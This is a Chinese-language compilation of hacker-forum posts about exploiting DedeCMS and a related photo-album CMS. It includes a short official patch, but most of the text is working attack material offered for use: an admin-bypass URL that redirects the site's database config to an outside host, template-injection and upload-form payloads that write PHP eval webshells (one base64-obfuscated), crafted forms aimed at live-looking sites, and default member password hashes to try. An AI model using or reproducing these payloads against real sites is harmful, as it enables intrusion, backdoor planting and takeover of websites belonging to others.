DEDECMS爆严重安全漏洞 免账号密码直接进入后台
众所周知,因使用简单、客户群多,织梦CMS一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠消息:“DEDECMS爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁动态。”
入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面红色字母改为当前的验证码,即可直接进入网站后台。
小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法:
解决办法:
找到include/common.inc.php文件,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$_k) )
{
exit(‘Request var not allow!’);
}
}
换成
//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$val) )
{
exit(‘Request var not allow!’);
}
}
}
CheckRequest($_REQUEST);
===============================================================
By:jannock
漏洞细节已经传遍了(http://www.t00ls.net/thread-17354-1-1.html,http://lcx.cc/?FoxNews=1681.html),又没得玩了。
网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell。
前题条件,必须准备好自己的dede数据库,然后插入数据:
以下是引用片段:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
以下是引用片段:
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
從核攻擊哪裡搞過來的。
“幸福百相园”相册GETSHELL漏洞
漏洞出现在
index.php
if($do == 'upload'){
if($_POST['formsub']){
$file = $_FILES['upload'];
if(!$file['error']){
if(strpos($file['type'], 'image') === 0){
$hash = $_POST['i'].'.jpg'; //若是IIS,则可此处可自行构造IIS畸形文件扩展名得到一个webshell
if(move_uploaded_file($file['tmp_name'], "./attach/$hash")){
thumb("./attach/$hash");
js_reload();
} else{
js_alert('保存失败!');
}
} else{
js_alert('不支持的格式!');
}
} else{
js_alert('上传出错啦!');
}
}
}
本地构造表单
<form action="http://XXX.com/user/index.php?do=upload" method="post" enctype="multipart/form-data" name="form_post" id="form_post" target="ajax">
<input type="file" name="upload">
<input type="hidden" name="i" value="1.php;"> 这里可以改为1.asp;或者别的类型的文件
<input type="hidden" name="formsub" value="true">
<input name="submit" type="submit" value="上传">
<iframe name="ajax" id="ajax" style="display:none"></iframe>
</form>
提交一个包含"gif89a"文件头的木马(大马),会在/attach目录下生成一个1.php;.jpg的webshell。如果IE显示红X,请换火狐
利用:搜索关键词“专注于收集、发布网友喜欢的图片”。这套相册大部分集成于dedecms的图片类网站,目录为http://www.xxx.com/user
dedecms 管理后台程序下载漏洞
dedecms 在禁止上传任何文件包括图片的时候 先把脚本木马成jpg然后传到另外一个站上 然后利用文章发布 直接填写上图片地址 提交 会自动把图片下载进服务器 然后利用更新首页 模板选择马的路径 更新为 .php 就是你的马。
dedecms默认的注册用户
RT INTO `dede_member` (`mid`, `mtype`, `userid`,
'个人', 'tianya', 'fcea920f7412b5da7be0cf42b8c93759',
'个人', 'wind', 'e10adc3949ba59abbe56e057f20f883e',
'个人', 'like', 'e10adc3949ba59abbe56e057f20f883e', '
'个人', 'yuejie', 'e10adc3949ba59abbe56e057f20f883e',
'个人', '沙羡', 'e10adc3949ba59abbe56e057f20f883e',
'个人', '尐湶細蓅', 'e10adc3949ba59abbe56e057f20f883e'
==
关闭注册时可以试试这几个用户
dede织梦的又一个代码执行0day
作者:toby57
博客:http://hi.baidu.com/toby57
作者潜伏于论坛多年,不发帖,只能代为转发了。PHP牛人...
因为鸡肋,所以发出来。
说下利用方法:注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行。
生成的解析文件内容如下:
漏洞鸡肋之处在于经历上次的0day冲击后,很多站点已经关闭了会员功能或者直接删除了member目录,并且没有多少站会有软件栏目的,嗯 ,所以搞搞 下载站之类的差不多了。
---a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码:xiao
dedecms v5.3-v5.6 Get Shell 0day利用分析
author:toby57
team:www.wolvez.org
此0day已经出现了相当长一段时间,今天配合小龙同学提供的日志看了下代码,了解了漏洞成因。大多同学对成因不感兴趣,这儿就只公布利用方法。
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
发表文章,然后构造修改表单如下:
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
红色部分都 是需要注意的地方,得根据实际情况进行对应修改。
修改完成后查看文章即可。
DEDE 暴文件源码AND获得后门GetShell漏洞
漏洞已经被公开,这里也公布了
GetShell
发表文章时上传图片如1.jpg
内容为:
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.' php'."".'eval($_POST[guji])'." ".">");
@fclose($fp);
{/dede:name}
然后转到附件管理那里 uploads.php
修改附件,同时更改oldurl 的值为 1.jpg(只改后面文件名,通过friebug更改)
提交后会在用户上传目录生成一个 1.jpg 的文件
然后像上面利用一样,templet 里填写些图片的路径 ../uploads/userup/用户ID/1.jpg
保存后点查看,就能在当前目录下生成 1.php 的一句话木马。
=======================
漏洞利用:
1.上传一个模板文件:
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg
模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改刚刚发表的文章,查看源文件,构造一个表单:
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
<div class="postForm">
<label>标题:</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
<label>标签TAG:</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
<label>隶属栏目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
<label>我的分类:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
<label>缩略图:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(这里构造)
</div>
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p>&lt;?phpinfo()?&gt;1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
<label>验证码:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>
</div>
</form>
提交,提示修改成功,则我们已经成功修改模板路径。
3.访问修改的文章:
假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马:1.php
注:
漏洞很早就存在了,民间隐藏的扫地僧估计也很早就看到了,但一直只是地下潜伏或者地下使用,直到上个月初有人找我分析IIS日志的时候,我才看到,还着实分析了一会代码。因为漏洞危害比较大,所以一直没敢公布或者将细节告诉谁,只在hi群跟黑哥与flyh4t说了下,在t00ls群跟小明说了下,今天看到toby57(http://hi.baidu.com/toby57/blog/item/686b70ece294cfdc2f2e2183.html)与小明(http://hi.baidu.com/mr_xhming/blog/item/5e1368b2dea0bbaad9335ab2.html)公布了,于是我也只好把一个月前的文章发出来了~~~
蛋疼的DEDE后台拿Shell
DEDE后台能直接上传PHP文件,他是传到uploads目录了,当遇到下面的情况时
那就利用模板上传的功能得Shell,在模板那里新建一个HTM文件,或者上传一个
然后保存,到生成首页文件那里,把上面改成你修改上传的HTM文件,下面改后缀为PHP之后就生成
=====================================
1,发布一个文章,上传一个正常图片
□Y35!U<admin@3hack.com> 15:51:51
2,修改文章
□Y35!U<admin@3hack.com> 15:52:04
3,把实现构造好的图片传上去
□Y35!U<admin@3hack.com> 15:52:12
4,构造表单把图片带入模版
□Y35!U<admin@3hack.com> 15:52:16
5,预览
□Y35!U<admin@3hack.com> 15:52:49
主要的是带入模版这一步,我已经能把那个不能显示的图片传上去了
□Y35!U<admin@3hack.com> 15:53:00
在fck里面传的
□Y35!U<admin@3hack.com> 15:54:11
但是这个是直接GETshell
□Y35!U<admin@3hack.com> 15:54:17
5.3---5.6通杀
dede5.5上传漏洞
漏洞是存在的,但网上用此版本的比较少,有都好像补了?试了两个也成功了!
<form action='http://www.mengtesuoli.com/include/dialog/select_soft_post.php?cfg_basedir=../../include/dialog/img&cfg_imgtype=php&cfg_soft_dir=m&newname=kak.php&cfg_not_allowall=ff&cfg_softtype=php&cfg_mediatype=php' method='post' name='form1' enctype='multipart/form-data'>
<input name='uploadfile' type='FILE' class='FileButton' size='28'>
<input type='submit' name='Submit' value='开始上传'>
</form>
大家可以试试,别说一个都没成功,好像骗你们就不好了,所以特开此贴!!
shell地址在include/dialog/img/kak.php
来源:网络